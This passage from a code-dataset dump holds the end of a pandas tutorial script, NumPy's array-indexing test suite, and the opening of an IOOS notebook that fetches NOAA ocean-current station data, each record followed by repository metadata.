columns\ndf.loc[dates[2],'A']    # or is you have a generic index: df.loc[index[2],'A']\n\n# Pure index locations (iloc) function\n# rows and columns, like arrays\ndf.iloc[3:5,0:2]\n\n#%% Data Frame Math\n\n# Math on an entire Data Frame\ndf2 = df * 3\n\n# In place replacement (not recommended, but good for recalculating and overwriting)\ndf.B = df.B * 2\n\n# better to create a new column\ndf['Btimes2'] = df.B * 2\n\n# math between columns\ndf['convert'] = ((df.A * 9/5) + 32) - df.C\n\n# math for specific indecies\ndf['indexMath'] = df.D[2:5] ** 2\n\n# math with boolean masks\n#   only apply the equation to positive vaules in A\ndf['convertPos'] = ((df.A[df.A >=0] * 9/5) + 32) - df.C[df.A >=0]\n\n#   Apply a different equation to the negative values\ndf.convertPos[df.A < 0] = ((df.A[df.A < 0] * 9/5) + 32) + df.D[df.A < 0]\n\n#%% Reduction\n\ndates = pd.date_range('1/1/2016', periods=8)\ndf = pd.DataFrame(np.random.randn(8, 4), index=dates, columns=['A', 'B', 'C', 'D'])\n\n# Basic stats (default is columns, and to skip NaN values)\n#       for row stats add (axis=0)\ndf.mean()\ndf.std()\ndf.median()\n\n# Getting statistics for a specific column\ndf.A.mean()\n\n# Sums (again by column)\ndf.sum()\ndf.B.sum()\n\n#%% Combining / Adding Values\n\ndf1 = pd.DataFrame({'A': ['A0', 'A1', 'A2', 'A3'],\n                    'B': ['B0', 'B1', 'B2', 'B3'],\n                    'C': ['C0', 'C1', 'C2', 'C3'],\n                    'D': ['D0', 'D1', 'D2', 'D3']},\n                    index=[0, 1, 2, 3])\n\ndf2 = pd.DataFrame({'A': ['A4', 'A5', 'A6', 'A7'],\n                    'B': ['B4', 'B5', 'B6', 'B7'],\n                    'C': ['C4', 'C5', 'C6', 'C7'],\n                    'D': ['D4', 'D5', 'D6', 'D7']},\n                    index=[4, 5, 6, 7])\n\nseries = pd.Series(['X10', 'X11', 'X12', 'X13'], name='X')\n\nresult = pd.concat([df1, df2])\nresult2 = pd.concat([df1, df2], axis = 1)\n\nresult = df1.append(df2)\n\nresult = pd.concat([df1,series],axis=1)\n\n# combining data with matching indicies\ndates = pd.date_range('1/1/2016', periods=8)\ndf = pd.DataFrame(np.random.randn(8, 4), index=dates, columns=['A', 'B', 'C', 'D'])\n\ndates = pd.date_range('1/4/2016', periods=8)\ndf2 = pd.DataFrame(np.random.randn(8, 2), index=dates, columns=['E', 'F'])\n\ndf3 = pd.concat([df, df2], axis=1)\n\n#%% Converting Pandas to Numpy\n\n# single column\nnp_from_pd = pd.np.array(df3.A)\n\n# whole thing\nnp_from_pd = pd.np.array(df3)\n\n# using numpy santax\narray = np.array(df3.values)\n\n# Monster statments with multiple instructions\nnp_with_reshape = pd.np.array(df3.A).reshape((2,2))\n\n", "meta": {"hexsha": "fbbe53b1b6d5d4dcade7c69496e302452b5566b8", "size": 7208, "ext": "py", "lang": "Python", "max_stars_repo_path": "Week6-1_Pandas.py", "max_stars_repo_name": "brynemorgan/Dart_EnvGIS", "max_stars_repo_head_hexsha": "212143fe84438c41d7268223fbbaf19abd4d5e23", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Week6-1_Pandas.py", "max_issues_repo_name": "brynemorgan/Dart_EnvGIS", "max_issues_repo_head_hexsha": "212143fe84438c41d7268223fbbaf19abd4d5e23", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Week6-1_Pandas.py", "max_forks_repo_name": "brynemorgan/Dart_EnvGIS", "max_forks_repo_head_hexsha": "212143fe84438c41d7268223fbbaf19abd4d5e23", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-04-25T18:42:48.000Z", "max_forks_repo_forks_event_max_datetime": "2020-03-24T19:34:19.000Z", "avg_line_length": 23.5555555556, "max_line_length": 84, "alphanum_fraction": 0.6071032186, "include": true, "reason": "import numpy", "num_tokens": 2343, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.36658973632215985, "lm_q2_score": 0.18242551713899047, "lm_q1q2_score": 0.06687532222641616}}
{"text": "from __future__ import division, absolute_import, print_function\n\nimport numpy as np\nfrom itertools import product\nfrom numpy.compat import asbytes\nfrom numpy.testing import *\nimport sys, warnings\n\n\nclass TestIndexing(TestCase):\n    def test_none_index(self):\n        # `None` index adds newaxis\n        a = np.array([1, 2, 3])\n        assert_equal(a[None], a[np.newaxis])\n        assert_equal(a[None].ndim, a.ndim + 1)\n\n    def test_empty_tuple_index(self):\n        # Empty tuple index creates a view\n        a = np.array([1, 2, 3])\n        assert_equal(a[()], a)\n        assert_(a[()].base is a)\n        a = np.array(0)\n        assert_(isinstance(a[()], np.int_))\n\n    def test_empty_fancy_index(self):\n        # Empty list index creates an empty array\n        # with the same dtype (but with weird shape)\n        a = np.array([1, 2, 3])\n        assert_equal(a[[]], [])\n        assert_equal(a[[]].dtype, a.dtype)\n\n        b = np.array([], dtype=np.intp)\n        assert_equal(a[[]], [])\n        assert_equal(a[[]].dtype, a.dtype)\n\n        b = np.array([])\n        assert_raises(IndexError, a.__getitem__, b)\n\n    def test_ellipsis_index(self):\n        # Ellipsis index does not create a view\n        a = np.array([[1, 2, 3],\n                      [4 ,5, 6],\n                      [7, 8, 9]])\n        assert_equal(a[...], a)\n        assert_(a[...] is a)\n\n        # Slicing with ellipsis can skip an\n        # arbitrary number of dimensions\n        assert_equal(a[0, ...], a[0])\n        assert_equal(a[0, ...], a[0, :])\n        assert_equal(a[..., 0], a[:, 0])\n\n        # Slicing with ellipsis always results\n        # in an array, not a scalar\n        assert_equal(a[0, ..., 1], np.array(2))\n\n    def test_single_int_index(self):\n        # Single integer index selects one row\n        a = np.array([[1, 2, 3],\n                      [4 ,5, 6],\n                      [7, 8, 9]])\n\n        assert_equal(a[0], [1, 2, 3])\n        assert_equal(a[-1], [7, 8, 9])\n\n        # Index out of bounds produces IndexError\n        assert_raises(IndexError, a.__getitem__, 1<<30)\n        # Index overflow produces IndexError\n        assert_raises(IndexError, a.__getitem__, 1<<64)\n\n    def test_single_bool_index(self):\n        # Single boolean index\n        a = np.array([[1, 2, 3],\n                      [4 ,5, 6],\n                      [7, 8, 9]])\n\n        # Python boolean converts to integer\n        # These are being deprecated (and test in test_deprecations)\n        #assert_equal(a[True], a[1])\n        #assert_equal(a[False], a[0])\n\n        # Same with NumPy boolean scalar\n        assert_equal(a[np.array(True)], a[1])\n        assert_equal(a[np.array(False)], a[0])\n\n    def test_boolean_indexing_onedim(self):\n        # Indexing a 2-dimensional array with \n        # boolean array of length one\n        a = np.array([[ 0.,  0.,  0.]])\n        b = np.array([ True], dtype=bool)\n        assert_equal(a[b], a)\n        # boolean assignment\n        a[b] = 1.\n        assert_equal(a, [[1., 1., 1.]])\n\n    def test_boolean_indexing_twodim(self):\n        # Indexing a 2-dimensional array with \n        # 2-dimensional boolean array\n        a = np.array([[1, 2, 3],\n                      [4 ,5, 6],\n                      [7, 8, 9]])\n        b = np.array([[ True, False,  True],\n                      [False,  True, False],\n                      [ True, False,  True]])\n        assert_equal(a[b], [1, 3, 5, 7, 9])\n        assert_equal(a[b[1]], [[4, 5, 6]])\n        assert_equal(a[b[0]], a[b[2]])\n\n        # boolean assignment\n        a[b] = 0\n        assert_equal(a, [[0, 2, 0],\n                         [4, 0, 6],\n                         [0, 8, 0]])\n\n\nclass TestMultiIndexingAutomated(TestCase):\n    \"\"\"\n     These test use code to mimic the C-Code indexing for selection.\n    \n     NOTE: * This still lacks tests for complex item setting.\n           * If you change behavoir of indexing, you might want to modify\n             these tests to try more combinations.\n           * Behavior was written to match numpy version 1.8. (though a\n             first version matched 1.7.)\n           * Only tuple indicies are supported by the mimicing code.\n             (and tested as of writing this)\n           * Error types should match most of the time as long as there\n             is only one error. For multiple errors, what gets raised\n             will usually not be the same one. They are *not* tested.\n    \"\"\"\n    def setUp(self):\n        self.a = np.arange(np.prod([3,1,5,6])).reshape(3,1,5,6)\n        self.b = np.empty((3,0,5,6))\n        self.complex_indices = ['skip', Ellipsis,\n            0,\n            # Boolean indices, up to 3-d for some special cases of eating up\n            # dimensions, also need to test all False\n            np.array(False),\n            np.array([True, False, False]),\n            np.array([[True, False], [False, True]]),\n            np.array([[[False, False], [False, False]]]),\n            # Some slices:\n            slice(-5, 5, 2),\n            slice(1, 1, 100),\n            slice(4, -1, -2),\n            slice(None,None,-3),\n            # Some Fancy indexes:\n            np.empty((0,1,1), dtype=np.intp), # empty broadcastable\n            np.array([0,1,-2]),\n            np.array([[2],[0],[1]]),\n            np.array([[0,-1], [0,1]]),\n            np.array([2,-1]),\n            np.zeros([1]*31, dtype=int), # trigger too large array.\n            np.array([0., 1.])] # invalid datatype\n        # Some simpler indices that still cover a bit more\n        self.simple_indices = [Ellipsis, None, -1, [1], np.array([True]), 'skip']\n        # Very simple ones to fill the rest:\n        self.fill_indices = [slice(None,None), 0]\n\n\n    def _get_multi_index(self, arr, indices):\n        \"\"\"Mimic multi dimensional indexing.\n        \n        Parameters\n        ----------\n        arr : ndarray\n            Array to be indexed.\n        indices : tuple of index objects\n\n        Returns\n        -------\n        out : ndarray\n            An array equivalent to the indexing operation (but always a copy).\n            `arr[indices]` should be identical.\n        no_copy : bool\n            Whether the indexing operation requires a copy. If this is `True`,\n            `np.may_share_memory(arr, arr[indicies])` should be `True` (with\n            some exceptions for scalars and possibly 0-d arrays).\n\n        Notes\n        -----\n        While the function may mostly match the errors of normal indexing this\n        is generally not the case.\n        \"\"\"\n        in_indices = list(indices)\n        indices = []\n        # if False, this is a fancy or boolean index\n        no_copy = True \n        # number of fancy/scalar indexes that are not consecutive\n        num_fancy = 0\n        # number of dimensions indexed by a \"fancy\" index\n        fancy_dim = 0\n        # NOTE: This is a funny twist (and probably OK to change).\n        # The boolean array has illegal indexes, but this is\n        # allowed if the broadcasted fancy-indices are 0-sized.\n        # This variable is to catch that case.\n        error_unless_broadcast_to_empty = False\n\n        # We need to handle Ellipsis and make arrays from indices, also\n        # check if this is fancy indexing (set no_copy).\n        ndim = 0\n        ellipsis_pos = None # define here mostly to replace all but first.\n        for i, indx in enumerate(in_indices):\n            if indx is None:\n                continue\n            if isinstance(indx, np.ndarray) and indx.dtype == bool:\n                no_copy = False\n                if indx.ndim == 0:\n                    raise IndexError\n                # boolean indices can have higher dimensions\n                ndim += indx.ndim\n                fancy_dim += indx.ndim\n                continue\n            if indx is Ellipsis:\n                if ellipsis_pos is None:\n                    ellipsis_pos = i\n                    continue # do not increment ndim counter\n                in_indices[i] = slice(None,None)\n                ndim += 1\n                continue\n            if isinstance(indx, slice):\n                ndim += 1\n                continue\n            if not isinstance(indx, np.ndarray):\n                # This could be open for changes in numpy.\n                # numpy should maybe raise an error if casting to intp\n                # is not safe. It rejects np.array([1., 2.]) but not\n                # [1., 2.] as index (same for ie. np.take).\n                # (Note the importance of empty lists if changing this here)\n                indx = np.array(indx, dtype=np.intp)\n                in_indices[i] = indx\n            elif indx.dtype.kind != 'b' and indx.dtype.kind != 'i':\n                raise IndexError('arrays used as indices must be of integer (or boolean) type')\n            if indx.ndim != 0:\n                no_copy = False\n            ndim += 1\n            fancy_dim += 1\n\n        if arr.ndim - ndim < 0:\n            # we can't take more dimensions then we have, not even for 0-d arrays.\n            # since a[()] makes sense, but not a[(),]. We will raise an error\n            # lateron, unless a broadcasting error occurs first.\n            raise IndexError\n\n        if ndim == 0 and not None in in_indices:\n            # Well we have no indexes or one Ellipsis. This is legal.\n            return arr.copy(), no_copy\n\n        if ellipsis_pos is not None:\n            in_indices[ellipsis_pos:ellipsis_pos+1] = [slice(None,None)] * (arr.ndim - ndim)\n\n        for ax, indx in enumerate(in_indices):\n            if isinstance(indx, slice):\n                # convert to an index array anways:\n                indx = np.arange(*indx.indices(arr.shape[ax]))\n                indices.append(['s', indx])\n                continue\n            elif indx is None:\n                # this is like taking a slice with one element from a new axis:\n                indices.append(['n', np.array([0], dtype=np.intp)])\n                arr = arr.reshape((arr.shape[:ax] + (1,) + arr.shape[ax:]))\n                continue\n            if isinstance(indx, np.ndarray) and indx.dtype == bool:\n                # This may be open for improvement in numpy.\n                # numpy should probably cast boolean lists to boolean indices\n                # instead of intp!\n\n                # Numpy supports for a boolean index with\n                # non-matching shape as long as the True values are not\n                # out of bounds. Numpy maybe should maybe not allow this,\n                # (at least not array that are larger then the original one).\n                try:\n                    flat_indx = np.ravel_multi_index(np.nonzero(indx),\n                                    arr.shape[ax:ax+indx.ndim], mode='raise')\n                except:\n                    error_unless_broadcast_to_empty = True\n                    # fill with 0s instead, and raise error later\n                    flat_indx = np.array([0]*indx.sum(), dtype=np.intp)\n                # concatenate axis into a single one:\n                if indx.ndim != 0:\n                    arr = arr.reshape((arr.shape[:ax]\n                                  + (np.prod(arr.shape[ax:ax+indx.ndim]),)\n                                  + arr.shape[ax+indx.ndim:]))\n                    indx = flat_indx\n                else:\n                    # This could be changed, a 0-d boolean index can\n                    # make sense (even outide the 0-d indexed array case)\n                    # Note that originally this is could be interpreted as\n                    # integer in the full integer special case.\n                    raise IndexError\n            if len(indices) > 0 and indices[-1][0] == 'f' and ax != ellipsis_pos:\n                # NOTE: There could still have been a 0-sized Ellipsis\n                # between them. Checked that with ellipsis_pos.\n                indices[-1].append(indx)\n            else:\n                # We have a fancy index that is not after an existing one.\n                # NOTE: A 0-d array triggers this as well, while\n                # one may expect it to not trigger it, since a scalar\n                # would not be considered fancy indexing.\n                num_fancy += 1\n                indices.append(['f', indx])\n\n        if num_fancy > 1 and not no_copy:\n            # We have to flush the fancy indexes left\n            new_indices = indices[:]\n            axes = list(range(arr.ndim))\n            fancy_axes = []\n            new_indices.insert(0, ['f'])\n            ni = 0\n            ai = 0\n            for indx in indices:\n                ni += 1\n                if indx[0] == 'f':\n                    new_indices[0].extend(indx[1:])\n                    del new_indices[ni]\n                    ni -= 1\n                    for ax in range(ai, ai + len(indx[1:])):\n                        fancy_axes.append(ax)\n                        axes.remove(ax)\n                ai += len(indx) - 1 # axis we are at\n            indices = new_indices\n            # and now we need to transpose arr:\n            arr = arr.transpose(*(fancy_axes + axes))\n\n        # We only have one 'f' index now and arr is transposed accordingly.\n        # Now handle newaxes by reshaping...\n        ax = 0\n        for indx in indices:\n            if indx[0] == 'f':\n                if len(indx) == 1:\n                    continue\n                # First of all, reshape arr to combine fancy axes into one:\n                orig_shape = arr.shape\n                orig_slice = orig_shape[ax:ax + len(indx[1:])]\n                arr = arr.reshape((arr.shape[:ax]\n                                    + (np.prod(orig_slice).astype(int),)\n                                    + arr.shape[ax + len(indx[1:]):]))\n\n                # Check if broadcasting works\n                if len(indx[1:]) != 1:\n                    res = np.broadcast(*indx[1:]) # raises ValueError...\n                else:\n                    res = indx[1]\n                # unfortunatly the indices might be out of bounds. So check\n                # that first, and use mode='wrap' then. However only if\n                # there are any indices...\n                if res.size != 0:\n                    if error_unless_broadcast_to_empty:\n                        raise IndexError\n                    for _indx, _size in zip(indx[1:], orig_slice):\n                        if _indx.size == 0:\n                            continue\n                        if np.any(_indx >= _size) or np.any(_indx < -_size):\n                                raise IndexError\n                if len(indx[1:]) == len(orig_slice):\n                    if np.product(orig_slice) == 0:\n                        # Work around for a crash or IndexError with 'wrap'\n                        # in some 0-sized cases.\n                        try:\n                            mi = np.ravel_multi_index(indx[1:], orig_slice, mode='raise')\n                        except:\n                            # This happens with 0-sized orig_slice (sometimes?)\n                            # here it is a ValueError, but indexing gives a:\n                            raise IndexError('invalid index into 0-sized')\n                    else:\n                        mi = np.ravel_multi_index(indx[1:], orig_slice, mode='wrap')\n                else:\n                    # Maybe never happens...\n                    raise ValueError\n                arr = arr.take(mi.ravel(), axis=ax)\n                arr = arr.reshape((arr.shape[:ax]\n                                    + mi.shape\n                                    + arr.shape[ax+1:]))\n                ax += mi.ndim\n                continue\n\n            # If we are here, we have a 1D array for take:\n            arr = arr.take(indx[1], axis=ax)\n            ax += 1\n\n        return arr, no_copy\n\n\n    def _check_multi_index(self, arr, index):\n        \"\"\"Check a multi index item getting and simple setting.\n\n        Parameters\n        ----------\n        arr : ndarray\n            Array to be indexed, must be a reshaped arange.\n        index : tuple of indexing objects\n            Index being tested.\n        \"\"\"\n        # Test item getting\n        try:\n            mimic_get, no_copy = self._get_multi_index(arr, index)\n        except Exception as e:\n            assert_raises(Exception, arr.__getitem__, index)\n            assert_raises(Exception, arr.__setitem__, index, 0)\n            return\n\n        self._compare_index_result(arr, index, mimic_get, no_copy)\n\n\n    def _check_single_index(self, arr, index):\n        \"\"\"Check a single index item getting and simple setting.\n\n        Parameters\n        ----------\n        arr : ndarray\n            Array to be indexed, must be an arange.\n        index : indexing object\n            Index being tested. Must be a single index and not a tuple\n            of indexing objects (see also `_check_multi_index`).\n        \"\"\"\n        try:\n            mimic_get, no_copy = self._get_multi_index(arr, (index,))\n        except Exception as e:\n            assert_raises(Exception, arr.__getitem__, index)\n            assert_raises(Exception, arr.__setitem__, index, 0)\n            return\n\n        self._compare_index_result(arr, index, mimic_get, no_copy)\n\n\n    def _compare_index_result(self, arr, index, mimic_get, no_copy):\n        \"\"\"Compare mimicked result to indexing result.\n        \"\"\"\n        arr = arr.copy()\n        indexed_arr = arr[index]\n        assert_array_equal(indexed_arr, mimic_get)\n        # Check if we got a view, unless its a 0-sized or 0-d array.\n        # (then its not a view, and that does not matter)\n        if indexed_arr.size != 0 and indexed_arr.ndim != 0:\n            assert_(np.may_share_memory(indexed_arr, arr) == no_copy)\n            # Check reference count of the original array\n            if no_copy:\n                # refcount increases by one:\n                assert_equal(sys.getrefcount(arr), 3)\n            else:\n                assert_equal(sys.getrefcount(arr), 2)\n\n        # Test non-broadcast setitem:\n        b = arr.copy()\n        b[index] = mimic_get + 1000\n        if b.size == 0:\n            return # nothing to compare here...\n        if no_copy and indexed_arr.ndim != 0:\n            # change indexed_arr in-place to manipulate original:\n            indexed_arr += 1000\n            assert_array_equal(arr, b)\n            return\n        # Use the fact that the array is originally an arange:\n        arr.flat[indexed_arr.ravel()] += 1000\n        assert_array_equal(arr, b)\n\n\n    def test_boolean(self):\n        a = np.array(5)\n        assert_equal(a[np.array(True)], 5)\n        a[np.array(True)] = 1\n        assert_equal(a, 1)\n        # NOTE: This is different from normal broadcasting, as\n        # arr[boolean_array] works like in a multi index. Which means\n        # it is aligned to the left. This is probably correct for\n        # consistency with arr[boolean_array,] also no broadcasting\n        # is done at all\n        self._check_multi_index(self.a, (np.zeros_like(self.a, dtype=bool),))\n        self._check_multi_index(self.a, (np.zeros_like(self.a, dtype=bool)[...,0],))\n        self._check_multi_index(self.a, (np.zeros_like(self.a, dtype=bool)[None,...],))\n\n\n    def test_multidim(self):\n        # Automatically test combinations with complex indexes on 2nd (or 1st)\n        # spot and the simple ones in one other spot.\n        with warnings.catch_warnings():\n            # This is so that np.array(True) is not accepted in a full integer\n            # index, when running the file seperatly.\n            warnings.filterwarnings('error', '', DeprecationWarning)\n            for simple_pos in [0,2,3]:\n                tocheck = [self.fill_indices, self.complex_indices,\n                           self.fill_indices, self.fill_indices]\n                tocheck[simple_pos] = self.simple_indices\n                for index in product(*tocheck):\n                    index = tuple(i for i in index if i != 'skip')\n                    self._check_multi_index(self.a, index)\n                    self._check_multi_index(self.b, index)\n        # Check very simple item getting:\n        self._check_multi_index(self.a, (0,0,0,0))\n        self._check_multi_index(self.b, (0,0,0,0)) \n        # Also check (simple cases of) too many indices:\n        assert_raises(IndexError, self.a.__getitem__, (0,0,0,0,0))\n        assert_raises(IndexError, self.a.__setitem__, (0,0,0,0,0), 0)\n        assert_raises(IndexError, self.a.__getitem__, (0,0,[1],0,0))\n        assert_raises(IndexError, self.a.__setitem__, (0,0,[1],0,0), 0)\n\n\n    def test_1d(self):\n        a = np.arange(10)\n        with warnings.catch_warnings():\n            warnings.filterwarnings('error', '', DeprecationWarning)\n            for index in self.complex_indices:\n                self._check_single_index(a, index)\n\n\nif __name__ == \"__main__\":\n    run_module_suite()\n", "meta": {"hexsha": "fa44900c7295ad880f64b0b0396197d45a733ce7", "size": 20690, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy/core/tests/test_indexing.py", "max_stars_repo_name": "serge-sans-paille/numpy", "max_stars_repo_head_hexsha": "596795bf697b6be29e21c23d7680e2d476c23436", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "numpy/core/tests/test_indexing.py", "max_issues_repo_name": "serge-sans-paille/numpy", "max_issues_repo_head_hexsha": "596795bf697b6be29e21c23d7680e2d476c23436", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy/core/tests/test_indexing.py", "max_forks_repo_name": "serge-sans-paille/numpy", "max_forks_repo_head_hexsha": "596795bf697b6be29e21c23d7680e2d476c23436", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.7283464567, "max_line_length": 95, "alphanum_fraction": 0.5264862252, "include": true, "reason": "import numpy,from numpy", "num_tokens": 4738, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.13477592611118108, "lm_q1q2_score": 0.06686150530498551}}
{"text": "# -*- coding: utf-8 -*-\n# <nbformat>3.0</nbformat>\n\n# <codecell>\n\nimport time\nstart_runtime = time.time()\n\n# <markdowncell>\n\n# ># IOOS System Test: [Extreme Events Theme:](https://github.com/ioos/system-test/wiki/Development-of-Test-Themes#theme-2-extreme-events) Coastal Inundation\n\n# <markdowncell>\n\n# ### Can we obtain observed current data at stations located within a bounding box?\n# This notebook is based on IOOS System Test: Inundation\n\n# <markdowncell>\n\n# Methodology:\n# * Define temporal and spatial bounds of interest, as well as\n#   parameters of interest\n# * Search for available service endpoints in the NGDC CSW catalog\n#   meeting search criteria\n# * Search for available OPeNDAP data endpoints\n# * Obtain observation data sets from stations within the spatial\n#   boundaries (from CO-OPS and NDBC)\n# * Extract time series for identified stations\n# * Plot time series data, current rose, annual max values per station\n# * Plot observation stations on a map\n\n# <markdowncell>\n\n# #### import required libraries\n\n# <codecell>\n\nimport os\nimport os.path\nfrom datetime import datetime, timedelta\n\nimport uuid\nimport folium\n\nimport matplotlib.pyplot as plt\nfrom owslib.csw import CatalogueServiceWeb\nfrom owslib import fes\n\nimport numpy as np\nfrom pandas import read_csv\nfrom pyoos.collectors.ndbc.ndbc_sos import NdbcSos\nfrom pyoos.collectors.coops.coops_sos import CoopsSos\n\nfrom utilities import (fes_date_filter, service_urls, get_coordinates,\n                       inline_map, css_styles, processStationInfo,\n                       get_ncfiles_catalog, new_axes, set_legend)\n\ncss_styles()\n\n# <markdowncell>\n\n# <div class=\"warning\"><strong>Temporal Bounds</strong> -\n# Anything longer than one year kills the CO-OPS service</div>\n\n# <codecell>\n\nbounding_box_type = \"box\"\n\n# Bounding Box [lon_min, lat_min, lon_max, lat_max]\narea = {'Hawaii': [-160.0, 18.0, -154., 23.0],\n        'Gulf of Maine': [-72.0, 41.0, -69.0, 43.0],\n        'New York harbor region': [-75., 39., -71., 41.5],\n        'Puerto Rico': [-71, 14, -60, 24],\n        'East Coast': [-77, 34, -70, 40],\n        'North West': [-130, 38, -121, 50]}\n\nbounding_box = area['North West']\n\n# Temporal range.\njd_now = datetime.utcnow()\njd_start,  jd_stop = jd_now - timedelta(days=(365*10)), jd_now\n\nstart_date = jd_start.strftime('%Y-%m-%d %H:00')\nstop_date = jd_stop.strftime('%Y-%m-%d %H:00')\n\njd_start = datetime.strptime(start_date, '%Y-%m-%d %H:%M')\njd_stop = datetime.strptime(stop_date, '%Y-%m-%d %H:%M')\n\nprint('%s to %s ' % (start_date, stop_date))\n\n# <codecell>\n\n# Put the names in a dict for ease of access.\ndata_dict = {}\nsos_name = 'Currents'\ndata_dict['currents'] = {\"names\": ['currents',\n                                   'surface_eastward_sea_water_velocity',\n                                   '*surface_eastward_sea_water_velocity*'],\n                         \"sos_name\": ['currents']}\n\n# <markdowncell>\n\n# CSW Search\n\n# <codecell>\n\nendpoint = 'http://www.ngdc.noaa.gov/geoportal/csw'  # NGDC Geoportal.\ncsw = CatalogueServiceWeb(endpoint, timeout=60)\n\n# <markdowncell>\n\n# Search\n\n# <codecell>\n\n# Convert User Input into FES filters.\nstart, stop = fes_date_filter(start_date, stop_date)\nbbox = fes.BBox(bounding_box)\n\n# Use the search name to create search filter.\nkw = dict(propertyname='apiso:AnyText', escapeChar='\\\\',\n          wildCard='*', singleChar='?')\nor_filt = fes.Or([fes.PropertyIsLike(literal=('*%s*' % val), **kw) for\n                  val in data_dict['currents']['names']])\n\nval = 'Averages'\nnot_filt = fes.Not([fes.PropertyIsLike(literal=('*%s*' % val), **kw)])\n\nfilter_list = [fes.And([bbox, start, stop, or_filt, not_filt])]\n# Connect to CSW, explore it's properties\n# try request using multiple filters \"and\" syntax: [[filter1, filter2]]\ncsw.getrecords2(constraints=filter_list, maxrecords=1000, esn='full')\nprint(\"%s csw records found\" % len(csw.records))\nfor rec, item in csw.records.items():\n    print(item.title)\n\n# <markdowncell>\n\n# DAP\n\n# <codecell>\n\ndap_urls = service_urls(csw.records)\n# Remove duplicates and organize.\ndap_urls = sorted(set(dap_urls))\nprint(\"Total DAP: %s\" % len(dap_urls))\n# Print the first 5:\nprint(\"\\n\".join(dap_urls[:]))\n\n# <markdowncell>\n\n# Get SOS links, NDBC is not available so add it...\n\n# <codecell>\n\nsos_urls = service_urls(csw.records, service='sos:url')\n# Remove duplicates and organize.\nsos_urls = sorted(set(sos_urls))\nprint(\"Total SOS: %s\" % len(sos_urls))\nprint(\"\\n\".join(sos_urls))\n\n# <markdowncell>\n\n# #### Update SOS time-date\n\n# <codecell>\n\nstart_time = datetime.strptime(start_date, '%Y-%m-%d %H:%M')\nend_time = datetime.strptime(stop_date, '%Y-%m-%d %H:%M')\niso_start = start_time.strftime('%Y-%m-%dT%H:%M:%SZ')\niso_end = end_time.strftime('%Y-%m-%dT%H:%M:%SZ')\n\n# <markdowncell>\n\n# <div class=\"success\"><strong>Get list of stations</strong>\n# - we get a list of the available stations from NOAA and COOPS</div>\n\n# <markdowncell>\n\n# #### Initialize Station Data List\n\n# <codecell>\n\nst_list = {}\n\n# <markdowncell>\n\n# #### Get CO-OPS Station Data\n\n# <codecell>\n\ncoops_collector = CoopsSos()\ncoops_collector.start_time = start_time\ncoops_collector.end_time = end_time\ncoops_collector.variables = data_dict[\"currents\"][\"sos_name\"]\ncoops_collector.server.identification.title\n\nofrs = coops_collector.server.offerings\n\nprint(\"%s:%s\" % (coops_collector.start_time, coops_collector.end_time))\nprint(len(ofrs))\n\n# <markdowncell>\n\n# #### gets a list of the active stations from coops\n\n# <codecell>\n\nbox_str = ','.join(str(e) for e in bounding_box)\n\nurl = (('http://opendap.co-ops.nos.noaa.gov/ioos-dif-sos/SOS?'\n        'service=SOS&request=GetObservation&version=1.0.0&'\n        'observedProperty=%s&bin=1&'\n        'offering=urn:ioos:network:NOAA.NOS.CO-OPS:CurrentsActive&'\n        'featureOfInterest=BBOX:%s&responseFormat=text/csv') %\n       (sos_name, box_str))\n\nobs_loc_df = read_csv(url)\n\nprint(url)\nprint(\"Date: %s to %s\" % (iso_start, iso_end))\nprint(\"Lat/Lon Box: %s\" % box_str)\n\n# <markdowncell>\n\n# #### COOPS Station Information\n\n# <codecell>\n\nst_list = processStationInfo(obs_loc_df, st_list, \"coops\")\n\n# <codecell>\n\nst_list\n\n# <markdowncell>\n\n# #### Get NDBC Station Data\n\n# <codecell>\n\nndbc_collector = NdbcSos()\nndbc_collector.start_time = start_time\nndbc_collector.end_time = end_time\nndbc_collector.variables = data_dict[\"currents\"][\"sos_name\"]\nndbc_collector.server.identification.title\nprint(\"%s:%s\" % (ndbc_collector.start_time, ndbc_collector.end_time))\nofrs = ndbc_collector.server.offerings\nprint(len(ofrs))\n\n# <codecell>\n\nprint(\"Date: %s to %s\" % (iso_start, iso_end))\nbox_str = ','.join(str(e) for e in bounding_box)\nprint(\"Lat/Lon Box: %s\" % box_str)\n\nurl = (('http://sdf.ndbc.noaa.gov/sos/server.php?'\n        'request=GetObservation&service=SOS&'\n        'version=1.0.0&'\n        'offering=urn:ioos:network:noaa.nws.ndbc:all&'\n        'featureofinterest=BBOX:%s&'\n        'observedproperty=%s&'\n        'responseformat=text/csv&') % (box_str, sos_name))\n\nprint(url)\nobs_loc_df = read_csv(url)\n\n# <markdowncell>\n\n# #### NDBC Station information\n\n# <codecell>\n\nst_list = processStationInfo(obs_loc_df, st_list, \"ndbc\")\nst_list\n\n# <codecell>\n\nprint(st_list[st_list.keys()[0]]['lat'])\nprint(st_list[st_list.keys()[0]]['lon'])\n\n# <markdowncell>\n\n# #### The function only support who date time differences\n\n# <markdowncell>\n\n# <div class=\"error\">\n# <strong>Large Temporal Requests Need To Be Broken Down</strong> -\n# When requesting a large temporal range outside the SOS limit, the sos\n# request needs to be broken down.  See issues in\n# [ioos](https://github.com/ioos/system-test/issues/81),\n# [ioos](https://github.com/ioos/system-test/issues/101),\n# [ioos](https://github.com/ioos/system-test/issues/116)\n# and\n# [pyoos](https://github.com/ioos/pyoos/issues/35).  Unfortunately currents\n# is not available via DAP\n# ([ioos](https://github.com/ioos/system-test/issues/116))</div>\n\n# 